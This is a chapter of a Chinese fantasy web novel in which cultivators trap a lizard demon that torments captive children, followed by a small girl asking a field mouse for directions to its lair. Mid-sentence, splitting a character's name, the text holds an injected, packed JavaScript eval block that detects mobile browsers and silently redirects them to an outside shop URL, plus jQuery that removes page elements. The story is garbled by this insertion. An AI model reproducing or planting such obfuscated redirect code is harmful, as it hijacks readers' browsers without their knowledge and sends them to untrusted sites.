蜥蜴妖从石头上弹起来,四肢完全张开,脊背拱起,尾巴紧紧绷在身后,身上的鳞片竖起。
翘起的鳞片缝里往外冒着黑气,黑气腥气很重,如同腐烂了几年的烂泥,熏得人眼睛生疼。
黑气中黏液慢慢往外渗,而后滴落在地上,黏液有生命,一落在地上,就疯狂寻找活物想要吸附。
许归笙退后几步,大喊:“不要让黏液近身。”
几人御剑飞行,黏液暂时碰不到身上。
林竹捏诀,几张符纸萦绕在它身侧,金光闪过,蜥蜴妖摆了摆身子,用裹满黏液的尾巴把空中的符纸扫下来,恶狠狠踩在脚下。
蜥蜴妖被惹怒了,它张开巨嘴,嘶嘶笑了几声,牙缝里喷出碎渣和腥沫,它迈开腿冲了过来:“既然你们不想活,我就成全你们。”
它身形庞大,可速度快得不像话,四肢扒地疯狂往前冲,地上泥土飞扬,尾巴随意乱摆,几棵大腿粗的树被拦腰折断。
许归笙挡在最前面,她灵活绕过蜥蜴妖的进攻,绕至它身侧,手腕转了个弯,剑直直朝着蜥蜴妖后背刺去,可它鳞片实在是太厚,剑身刺不进去,只在它身上留下浅浅的划痕。
没伤着蜥蜴妖,反而剑刃上沾了一层黏液,黏液顺着剑身往上爬。
“这黏液当真难缠。”许归笙咬牙,手腕一抖,把黏液甩开,但剑身上已经糊了一层,使不上力。
剩余的黏液依旧往上缠,许归笙皱眉,果断将佩剑丢下。
“师弟!”
宋亦行得令,快速飞到许归笙身侧,将自己的佩剑递给许归笙。
两人擦身之际,许归笙悄悄道:“天地同笼咒可学会了?”
宋亦行点点头,他明白师姐的意思。
他快步飞到一处狭隘的地形中,在东西南北四个方位,各布下一个小法阵。
许归笙接了佩剑,再次飞到蜥蜴妖身前,吸引它的注意力。
林竹从扯面包抄,符纸拍在蜥蜴妖的背上,符纸亮了一瞬又灭了。
被鳞片缝隙里黏液包住,蜥蜴妖狂笑:“还有什么本事全都试出来。”
林竹指着它,嗤笑一声:“你除了黏液还有什么用?”
蜥蜴妖慢悠悠停下,吐了吐舌头:“我有,为何不用?你羡慕了?”
“哈哈哈哈哈,有种坦坦荡荡打一场。”林竹扬起衣袖,将剑身从剑鞘拔出,定定指着蜥蜴妖。
许归笙一手捏诀,一手将佩剑倒举在身前:“有种就过来。”
蜥蜴妖见他们如此挑衅,狂躁地抬起脚再搞搞落下,前肢在地面留下两个深坑。
它摆了摆身子,张开嘴,露出满是成年老垢的牙齿,而后跳起来,径直扑向两人身前。
许归笙和林竹对视一眼,不打算恋战,两人施展轻功在树中穿梭,灵活躲过蜥蜴妖的猛攻。
一步步将蜥蜴妖带到宋亦行布下阵法的地方,蜥蜴妖还以为已经把人逼至绝路,它咧开倾盆大嘴,嘶嘶笑着:“你们还能跑哪去?乖乖受死吧。”
许归笙嘴角勾起,几步跳到树梢最高处,林竹也紧随其后。
蜥蜴妖猛地扑向巨树,许归笙大喊:“快动手!”
宋亦行两指指着蜥蜴妖,嘴里念着符咒,霎时间四道金光从地面升起。
蜥蜴妖察觉到不对劲,想逃,可终究还是慢了一步,金光在空中形成一个四四方方的光圈。
蜥蜴妖被困在金圈内,它发出怒吼,快步往后退了几步,嘶吼着往光圈上撞,金圈被撞得摇晃,许归笙和林竹见状,赶忙施法加固。
勉强撑住了,蜥蜴妖发了狂,接下来的撞击更为猛烈。
几次下来,光圈表面泛起裂痕,再撞一下,怕是坚持不住。
“师弟。”林竹回头喊,“定妖咒。”
宋亦行抽出符纸,咬破拇指,以血为媒,血在符纸上画的符咒很快泛起金光。
他小心踏入光圈,蜥蜴妖的竖瞳紧紧盯着他,金色瞳孔已经变得通红,眼周的血管不断爆裂,鲜血炸裂。
“给我死!”蜥蜴妖咆哮着,死死盯着宋亦行,跳起身扑向宋亦行。
宋亦行往后退几步,一个翻滚,侧身避开。
它没得逞,眼睛红得更吓人,往后退了几步,张开大嘴,往前扑。
可下一秒,宋亦行将符纸贴在它脑门上。
“定!”
蜥蜴妖的身子僵在半空中,维持扑咬状。
成了,宋亦行退后几步,长舒一口气。
法阵外的许归笙和林竹也将施法的手放下,大口喘着气。
蜥蜴妖身子虽然动不了,但嘴巴还能动。
它张开嘴,细牙呲出来,阴恻恻地笑了。
“就算抓了我又如何,那些娃娃,你们依旧救不了。”
“哈哈哈哈哈哈。”
笑声在雾里回荡,又尖又细,听的人头皮发麻,诡异至极。
“痛苦吧,尖叫吧。”
蜥蜴妖周身的黑气更甚,黏液疯狂往外涌。
远处那棵巨树上,黏液感应到了什么。
缠绕在娃娃身上的黏液一点点收紧,皮肤被累出一道道红痕,内脏被无情挤压。
娃娃们被黏液缠得痛苦,那些半死的孩子也被痛醒。
他们呜咽着开始哭泣,起初是一个,两个,到后面整棵树上的孩子都哭起来。
尖锐,嘶哑的哭叫从树冠上炸开。
黏液把孩子们当成了玩物,它缠紧一会儿后,又会稍稍松开,能让他们喘口气,以便下一次的哭声能更响亮。
孩子们的气还没喘顺,下一阵刺痛感又涌上来,他们只能通过尖叫痛苦来缓解。
蜥蜴妖的竖瞳盯着树上的方向,嘴角高高咧起,狰狞的面庞,满是享受。
“哭吧,哭的,声音再大些。”
许归笙听闻哭声,心急如焚,这蜥蜴妖是要玉石俱焚,要拉着整树孩子垫背。
她快步走至光圈前,剑指蜥蜴妖厉声逼问:“怎么把那些娃娃弄出来?”
林竹站至她身侧:“你这妖,当真是冥顽不灵。”
蜥蜴妖依旧狰狞笑着,但闭口不答。
定妖咒虽说压住了它的身体,可它周身黑气却溢了出来,还越来越浓,额头的那张符纸边缘已然卷翘。
林竹摇摇头:“定妖咒压不了太久。”
宋亦行问:“到底怎么把娃娃们弄下来?”
蜥蜴妖竖瞳滴溜溜转着,盯着他:“我为什么告诉你。”
“你!”宋亦行紧紧攥住袖口,愤愤道。
蜥蜴妖一直不说也不是个办法,树上的娃娃们怕是快撑不住了。
焦灼间,他忽然想到一个人。
江
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17919197|213410||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
舟涣,她昨天进了这东西的老窝,帮它捶腿还有果子吃。
若是她说的是真的,那这些黏液为何不伤她,她应该知道怎么接触黏液的束缚。
*
屋内,江舟涣翻了个身子,被子又被她踢开一个角。
安神符的法力渐渐消退,她迷迷糊糊睁开眼,哼唧着坐起身。
正午的阳光从门窗投进来,有些刺眼。
江舟涣眯着眼睛,偏头看了眼身侧,睡在她旁边的哥哥不见了。
她嘟囔着:“漂亮姐姐?”
没人应,她又喊:“哥哥。”
屋内还是一片寂静,她抬起手揉了揉眼镜,脑袋还有点晕晕的。
下心爬下床后,她在屋内寻找,小木屋内空荡荡的,空无一人。
他们去哪了?忽然间,江舟涣瞥见餐桌上,有一碟已经凉了点馒头,馒头旁边还有一张字条。
她慢慢爬上椅子,踮起脚尖把字条拿下来,上面写着:不许乱跑。
是许归笙留下的,她不确定自己到底何时能回来。
担心安神符醒后的江舟涣会再次乱跑,便将字条搁在她爱吃的馒头旁。
是她一定会看见的地方。
可许归笙忘了一件事,小娃娃才三岁,还看不懂文字。
江舟涣捏着字条,看了半天,也没看出个所以然,她把字条小心压在碗底,抓起馒头大口大口往嘴里塞。
吃饱喝足后,江舟涣想起了昨天蜥蜴妖同她约定的事,帮它捶腿,果子管够。
果子酸酸甜甜的,她舔了舔嘴唇,推开屋门。
站在门口,她又犯了难,昨天的路她忘记怎么走了,
江舟涣转身跑到墙角,跪下,猫着身子往里看,在家里时,她和小老鼠就是这样交流的。
“能听见我的话吗?”
洞内,奶声奶气的声音响起,田鼠放下正在咀嚼的花生,动了动胡子。
哪来的声音,它动了动胡子,慢慢往洞外爬。
视线对上江舟涣的眼睛,它吓得慌忙往里逃窜,江舟涣伸手去抓,只抓到一把灰。
她还急着去帮蜥蜴妖捶腿呢,于是她又喊:“你别怕,我……我给你吃馒头。”
快步跑进屋内,将吃剩的馒头掰下一块,丢到洞口。
田鼠鼻子动了动,馒头的香味飘得它心痒,它搓了搓爪子,又慢慢往外走,边走它小心试探着:“你在叫我?”
江舟涣点点头:“我想找你,问路。”
田鼠把馒头卖力往洞口拖,漫不经心道:“你要问什么尽管问。”
“你知道蜥蜴妖吗?我要去那。”江舟涣说。
林子深处的蜥蜴妖,方圆百里的动物哪只不知道。
那东西什么都吃,只要是进了那片林子的活物就没有出来过,偶尔会有几根白骨被水冲到林子边上。
路过的动物们见了,口口相传,一时之间,那成了一块禁地。
蜥蜴妖不仅吃跑进林子里的动物,还会跑进村子抓小娃娃。
小田鼠曾亲眼见过,似巨石般的蜥蜴跑得飞快,嘴里叼着一个哭闹的小娃娃,它浑身长满鳞片,冒着黑气,走过的地方地上会流下白色黏腻的液体。
小田鼠吓得往里钻了钻,这个矮矮的人类幼崽居然要去那么可怕的地方。
“你不怕它吃你?”